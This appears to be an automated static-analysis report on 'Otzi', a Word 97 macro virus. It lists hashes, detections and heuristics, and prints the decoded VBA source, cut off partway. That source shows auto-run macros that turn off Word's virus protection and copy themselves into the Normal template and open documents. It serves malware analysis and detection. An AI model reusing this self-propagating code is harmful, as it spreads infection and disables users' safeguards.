Ötzi — Office (OLE) malware analysis

Static analysis result for SHA-256 3a23e455e1e817e0…

MALICIOUS

Office (OLE)

39.0 KB Created: 1998-07-24 15:33:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 340336994075dbbecc7b119f699055ca SHA-1: 4862c6d302e453d10a0dcdcf7484c7428be9ecec SHA-256: 3a23e455e1e817e07e00358d8c137adf4392695f22248a8579e073efda9443d3
180 Risk Score

Malware Insights

Ötzi · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a macro virus by ClamAV and exhibits characteristics of legacy WordBasic macros, including AutoOpen and AutoClose functions. The VBA script explicitly names itself 'Ötzi' and attempts to copy itself to the Normal template and the active document, indicating a propagation mechanism. The presence of AutoOpen and AutoClose macros suggests an attempt to execute malicious code upon document opening and closing.

Heuristics 5

  • ClamAV: Doc.Trojan.DWMVCK1-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DWMVCK1-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8742 bytes
SHA-256: a22640a234cc896a3b1654d399e6c0d79c7835152dbfa0a70b757f7c90533b5d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"

'Generated by DarkChasm's Word 97 Macro Virus Construction Kit (DW97MVCK)
'Virus Name: Ötzi


'------------------------------------------------------------
'AutoOpen macro
'Executed when a document is opened
'------------------------------------------------------------
Sub AutoOpen()
  On Error GoTo Ötzi

  Payload

  Mutate

  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone

  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False

  Set GlobalDoc = NormalTemplate
  Set ActiveDoc = ActiveDocument

  GlobalInstalled = No
  DocumentInstalled = No

  For j = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(j).Name = "Ötzi" Then
      GlobalInstalled = Yes
    End If
  Next

  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "Ötzi" Then
      DocumentInstalled = Yes
    End If
  Next

  If GlobalInstalled = No Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Ötzi", Object:=wdOrganizerObjectProjectItems
    Options.SaveNormalPrompt = False
  End If

  If DocumentInstalled = No Then
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Ötzi", Object:=wdOrganizerObjectProjectItems
      ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
  End If

  Application.DisplayAlerts = wdAlertsAll

  Retro

Ötzi:
End Sub


'------------------------------------------------------------
'AutoClose macro
'Executed when a document is closed
'------------------------------------------------------------
Sub AutoClose()
  On Error GoTo Ötzi

  Payload

  Mutate

  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone

  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False

  Set GlobalDoc = NormalTemplate
  Set ActiveDoc = ActiveDocument

  GlobalInstalled = No
  DocumentInstalled = No

  For j = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(j).Name = "Ötzi" Then
      GlobalInstalled = Yes
    End If
  Next

  For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "Ötzi" Then
      DocumentInstalled = Yes
    End If
  Next

  If GlobalInstalled = No Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Ötzi", Object:=wdOrganizerObjectProjectItems
    Options.SaveNormalPrompt = False
  End If

  If DocumentInstalled = No Then
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Ötzi", Object:=wdOrganizerObjectProjectItems
      ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
  End If

  Application.DisplayAlerts = wdAlertsAll

  Retro

Ötzi:
End Sub


'------------------------------------------------------------
'FileSaveAs macro
'Executed when a user selects File SaveAs from the Word menu
'------------------------------------------------------------
Sub FileSaveAs()

  Dialogs(wdDialogFileSaveAs).Show

  On Error GoTo Ötzi

  Payload

  Mutate

  Application.ScreenUpdating = False
  Application.DisplayAlerts = wdAlertsNone

  WordBasic.DisableAutoMacros 0
  Options.VirusProtection = False

  Set GlobalDoc = NormalTemplate
  Set ActiveDoc = ActiveDocument

  GlobalInstalled = No
  DocumentInstalled = No

  For j = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(j).Name = "Ötzi" Then
      GlobalInstalled = Yes
    End If
  Next

  F
... (truncated)